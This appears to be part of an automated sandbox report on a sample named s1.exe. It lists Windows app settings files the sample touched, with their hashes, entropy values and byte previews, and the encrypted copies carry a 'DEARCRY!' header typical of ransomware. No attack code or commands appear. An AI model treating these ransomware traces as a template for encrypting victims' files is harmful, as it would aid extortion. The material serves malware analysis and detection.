                                                              Preview: DEARCRY!........N...~.t.$~H.P.X...v...~`PW....|..x9.........%."..C9.vW.$..H1...........|.c..-.....7qw.....lM.%k.C. }......'FqU.$.-%m-Es..P.....UJ.....w.9]...ZG".......*."...w........%.8.ofZ.I....s.i.....?.-..19..X.....P...l....Q........R"9.z.DX..Qbh.'.*..... ............#.l....+.....$..*Z.+.n<C.v.`RE:B.....F?......_...H.T.AU...,.`IX...l..9......q..<.l....q...{....qP....R..v..V."..iGP.?..|...=v8U94.8.F.ZB7...b.?+.....46...\..GC..|.4..!.<.f....v........N=C....x....c..H.....Y0.,1r.Xu\e.k.-..F......=fJ...$,zC>H8.....cZv......VW.G..$J'..O.\n.u.W.....".e.??.8.<V$lC..{--.[....l.=&E.s.U./.K.%.........u.+.......|.}.1..XZ.{........6...wA...c.1.G=6..O.GV....}...{X...$5N...Bg..?...>.\......%.#M~Fwb......~...........Y.Xm..o.Y......g..8.*....I...M8.B......O) ...."..o.k)=.....<..M.O.At1.o.U..V.b5...]Q.8..i.l........cv ^.i..HGbGH...c.x....Y.D}q..:Is~[..B.A..#.0...$.cve.U0` .M./.An.._v...j~.Th.r%.*...u.9.o...c1 .mp.s..K.Nh^...s......@7@29 U...Nx>.].
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.979319218736311
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8FF6F72E99C3E954CB56EBD661A508FB
                                                              SHA1:769ECD0EA93B992C1CD3D958F6C0820825FEFA49
                                                              SHA-256:ED80B500CFD496FA921940263CBA2ACE2779F0049669120826551EAB9F567CDC
                                                              SHA-512:A7BE02BD520E8BD41A3648B7C0CA90E79D4C106A8D68D32DBB57C2400AC269BE2AE55271FE0030C92B6B27D1214937D1D7E4AA970072A38F89BC11D4C5E69D08
                                                              Malicious:false
                                                              Preview: DEARCRY!....f....Rq=.wh._.%..E.T.2.tk......kT"K"..0.M&.Z....,FD.33'.d5.n.m.1...:.}./..Nt...'....C.I...Q.3a......,.~...Nt.xu.#..N..{s.89..uP.J`~DM^S#....m......K..y..l.0.k..yy....L.%.1H}.9..Q.sm.^Z.fqL>.U.....g.B>...]+..Bv.7@....h..3..f.Z...'....G.}..... ........A...}C.o.Nf*Y\VI.e.32m..2.mb...)..R...e".=.^.O..s....1..X....HvCa..tY....pK7...h...|......^.5..`e...O.1......_.P..}j....E{.l....'......u..v..sdx\.y..`...........W.....U{T...:...w..H..O.r.!5.O.H%.Jt%.0.....X..|(Iq..5T...J.T..mnt...4u.2.G..g....A>Op^i.0.9..Io.=.aD.9.p@onZ..n[ R.+........K...0..0>o.T0}Ny.J.(j#i...L.X{=;..H..tR...W.Y..7....{~.c^..S.#....{A.*...._.gWR{....ks#.^...W|...;...j...:....O5...8.....5.Z,GY.K>4..@..Hl...MjO8t.v.sD.<....6o..x...~....d...9.+.%...[I..m!Or..&.Q....X.."W...E..=..i...f-....9.{K}.@.&4*...g..8..m3.b.u...~H[e/.h..?.!.~m.6.%!.....#....&R.....+^?.v.\S..!..5.?&....\.X..>..<.k.J#.r...?w..j..;.i6......9Cod..(..........\-...Q.N../..w.{i.O..~..-..Q.?
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.976816897881401
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A12DE83B0F1C841703BA7CDEDEA0B54
                                                              SHA1:2296065B4C735615AD45896A3AD7042727088A88
                                                              SHA-256:967E6E4FA3215200A7F6422BC805FDB143A2695023CE962A4BEEA3AD668239E3
                                                              SHA-512:2B4371A6C55F1D0AD32DAC4EE57A637325BBD245675F41F271E3FD9A9195F25CC62428772BC1708869369C7A73DF14D4766145D2BAAA6953A9B59081A84D1D5E
                                                              Malicious:false
                                                              Preview: DEARCRY!....7.<A.H.=....L..4*..1...,o....W........UDS...-..2.....2.Rv......Tc.[.o.".... ~......x..........e.0/..M....m.....-..\=.O.lA...{C8.<|..5B...n....fB.v."....V.Yx[.l....R.s.I.....M2.@.t/4^\.B.u..i>..L.'u..(k.l....((..><#..:Q................n{.7Q..g...... ..........m!O...~..9[...J.o1.^.].f#......S.y...?...W)L~E...dgy..K.~..d.^......kX...e{.....h\.:.....h..Ju=...l.'r.c...2..>...7.;0..wZb.=..*.'2..-...p@.z...ej..q...|]N.Jk.+..........O.4_..`...N.H......_m...%w};....m.).&k.+.IZ./low...+1.F.<v...B...@.....H..`..o.....Dl<.C... l..G........N...v./H@K....d...j.....$Y...ygj...{!.y#....v*?.t./..jo.R..k<...$.Mc5....<Op..U.".@..Q....>_es..S..VH....i..(7.P1.1..........J..v....X.UO..@m.k...P....8..c......U.+...?.AW\.a);.... Aw.O`.0.$...dM..p...X/r...p.2taA/.n4...;.-z.7..Zh...8.).I..'E..2.vk.4..G......2......ez.tm_..'.fe...A.[xAZ...H{.)c..o..........m(.W.<(.5.=.Y.J3g.,.M:.SVhk{.^..;....L!.o....k;.|vY...o(..tT.K:.bg.`h............1...n-4.>.,E..p..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988193188303311
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1A6C233C75E9276FE3FD863A21EB9BF9
                                                              SHA1:064FFE77345073BF71F5A2906C264D43FE944FC2
                                                              SHA-256:6179C79BCEE010D4122080A4EA9609248F9B6E23F7DF68A146CAB532E4861CD8
                                                              SHA-512:B1DDB41B125F3295CB2466C03040658DB63CB74897E543AB3BD5C6E2762EE2237FD2CE6F1230E5D531688602BC2A1439034BBCB96621AE6E82C03776A7BD3B19
                                                              Malicious:false
                                                              Preview: DEARCRY!.......eD....2.2\.......vv...&........r...t.F?..uO+.]C....b>$...T..D^ ./..L........5.|....._J,.rh8.R.*..o.V8..>eBn.e..6..vg.l.D9.,.<-..UW..[......u.s...D+...<........t....C.4s....@....;...,.......T)......P.].6&.i.B..#........}|.<.5]..3%...&.;L......... ........WR.......@j.......CF.j..(....7......c..}I*..J..#..aP..h.2t..I(:@.. ...V......|.o.K.T...$.}.....".5'xj|p.V.4.C..w.}...R..}R.ZD4/A;.E........t.....BV.......P.o!....%I.x....i.....B..D....u..*Q...>.jE..H...$.`o5N.d.X4.@.ab.&`8M.N|.e.Y.Q.dn.......}J..x.P2....k..8[O7m3>!..&.8..v._4.D..[.K.e{..x...b..Hq]....(.....S...!(u.jx.\.e..l.moaA...|[x.(.....).).]..o..N.j../u~...dk..]..+.....j;g.>.........1..M..!.........2M>.*#j...z.J...)<.:(f7.....}~.B.2.\B.PK~.&qnw...pFB..?.e.5..$(.aw...(u......6..#mWGb.IHim[.S...'.7...k.m..HP#>.lJi.B.Y.;.M......TS......."....L'C..i9.Q|7p...E3...5.Ny....SX..f..y...cj.......J?.!.5.R..A..L.i-....ug.Ko>.....]h\...&b.M..h...:...b..fRf.._x3G.4o.P_B...S..pgg...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.974254133032885
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:88D255D11188CC99E40C1D5AB6A133C7
                                                              SHA1:C6FEAD396A8429D346C81612DB9E22B8B20BD865
                                                              SHA-256:5C6C1F1CC8E71D80D976D065BC4101B4DC104888AB7233DB16CB60B39A00D849
                                                              SHA-512:E3C3D0459603A7976589C9652679666995900912566EDB0D854A2E276605B4A8094419CA8C1F95829166BE1900DF643044879218B580558003A785968646AD97
                                                              Malicious:false
                                                              Preview: DEARCRY!....H.3..-lR._..r..O...goha.G......N.d?.).o..".2AZ..r..RQ.u....?..w.TP..$.....4..aT...N#A.Z..#..$..0\...a9.&..;..u1.n..E.J...T.6.......S.8.d. )..73e`.es...9...Ys.}q .i8..@....>g2...4...XO._Q./S-..}.....y.m.5.,...T..:.|.>\|).M.,...zY^Y..R....'......{&.p..... ...........[.~...LM9`...}.\.M...6r......^.q.u..N......M.ZV.n{.@...W.{-.....#_.S\......)......r~..|..r..yA?..L$.9..nj...I..k.3W$.s..Mp.l...2K...V...s.3I.tzQj..........T...@F..Z........,........`....Y..x.@..Z.wq....q.6..)iym|.2.:e2GM...?fI....& .3..nEo....5z......W5....J....!.*q..R.b'<.D.....?.V..N.w2D...s~.....Q.9..Y..#.y.....aO......=.3.P.8.p.J.)..v..]G...?...80.4..?...-.8...~@......Z..@.x2;.~h....*h...T....AA...j.S%+&......?...3.b.;&9y....P.+.....kT..rV........Y.+.......Cr)..c...=.....Sm.y}...........dX....S.......&......7.^E..d....y..?w..YpI.#q.+.H.".........i...u...Z.a=.+.g.7e....b..Pf..c....f...D.f...g$ib.................M.J...#.u(.:Vn....k.t6.W5>By....U..7U.[...A...8..A
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.990997806251426
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:AFF134CDF58A0ECD36841B3997370F2F
                                                              SHA1:0AD341D072CEFDA940A1381B6344F55D3651ABAE
                                                              SHA-256:C400BCCF09528B2024EEBDA5C684BCAD1A98FDBE2AE0B4BD156DEAE78C48A942
                                                              SHA-512:8B50774AB69F4D00776528500E42A3D27FD85140C4095E87674B27E48575B18D59980F3A1A970BDF0D7475CBD6F00319A7757FC0B52624D3DCE5A2B3C5EC7A59
                                                              Malicious:true
                                                              Preview: DEARCRY!.....~0o.z.Q..A.qM..........d..8g..rf/..|..6(.&.2Lub..A+&UN..q.36H..........g.<-.l...../\nqWC.$)...\rSX.K............Kx..w....N.OW..d8Yk&...B.-.U...D..y..mZ...&?R..........I..[.... j....%....J...Fi...M..(dqo....<..........q..D......Z...... ......E.<Hm..O...........n.g.7..A*...8.S.Z8.!..."f.o......m...n@".5d.M.....U`+P/..D...........%<#v-......A..bI....B.k..nq.\.+...v..W.3..)/..f...!...@.EEv@!'PA...$.\...v.....9..!.wkK........OV.w..TK.XWgKr.~.G...N.nIq..^...GE.T.p..@!.hwa;;..c......1.pr....h. .O..<.z;[.3.?.R.R..........H$j]"i...5:NA`|.6..9.^xvA..9.H...M..d...>.[e.o..@B..........;T....q..YA...B.....Qy:x.|@M.....u...b..:...4...a4......G...?.....{b2.....T.........N....*.P"...<X6|6E9`Wt(..?..X*.'.S.K...7.KQ.&o~..I.q.&w..2.........]..YF.s...P.\.e.T....W....Z6?.<.../:>J.(..(q..=...r.h......f..D\..G....K.M..>.......IF.W...+&KAK1.S{>!.f.....dvC}.}.R.5....A......%.:G..Q...ON^}...L....,.~N..ToW[ Jj..LZ...UV.......b..".^|?`.e.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.980002783733092
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6156FA49F13BD96CA3FA465EAEB3B5E4
                                                              SHA1:5A54562FB41F05A1420FB92F2FFB77EEC8959E65
                                                              SHA-256:D55B02C8048118DB5B8E29C291980D62D40901408DBF326642DCB7F27A6B5E74
                                                              SHA-512:585C6BAE1FC1FF8F6EFEE139CE2858522E07DF4A3AD96470E0DD55D51E6A8E380E0F721686A92B01FD030A1615D14D2C7E736C42A2E9E4FD6DE77B63DB1F8B91
                                                              Malicious:false
